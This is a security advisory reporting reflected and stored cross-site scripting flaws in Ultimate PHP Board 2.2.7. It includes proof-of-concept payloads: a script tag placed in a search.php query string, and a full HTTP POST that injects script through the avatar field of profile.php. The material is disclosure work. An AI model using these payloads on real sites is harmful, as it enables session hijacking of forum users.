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Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting Vulnerability



= Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting Vulnerability =

-----------------------------------------------------------------------
Vendor Homepage : http://www.myupb.com
Software Link   : http://downloads.sourceforge.net/project/textmb/UPB/UPB%202.2.7/upb2.2.7.zip
Version         : 2.2.7
-----------------------------------------------------------------------

################
  Descriptions
################

myUPB is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. 
This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

myUPB 2.2.7 is vulnerable; other versions may also be affected.

#########################
  Vulnerability Detail
#########################

1. Reflect Cross Site Scripting (search.php)
POC: 
/search.php?q='><script>alert(1)</script>
		
2. Stored Cross Site Scripting (profile.php)	
POC:
POST /upb/profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: th-th,th;q=0.8,en-us;q=0.6,en-gb;q=0.4,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/upb/profile.php
Cookie: timezone=0; lastvisit=1425552811; user_env=test; uniquekey_env=8806b913721aaf992f09134c89031d58; power_env=1; id_env=2; PHPSESSID=5jjiir5d83mbqh2s7da0gckd97
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------287611866431947
Content-Length: 716
-----------------------------287611866431947
Content-Disposition: form-data; name="u_email"
t@xxxxx
-----------------------------287611866431947
Content-Disposition: form-data; name="u_loca"
th
-----------------------------287611866431947
Content-Disposition: form-data; name="avatar"
images/avatars/chic.jpg'><script>alert("hacked");</script>
-----------------------------287611866431947
Content-Disposition: form-data; name="u_site"
http://
-----------------------------287611866431947
Content-Disposition: form-data; name="u_timezone"
0
-----------------------------287611866431947
Content-Disposition: form-data; name="u_edit"
Submit
-----------------------------287611866431947--

Regards,
Prathan Phongthiproek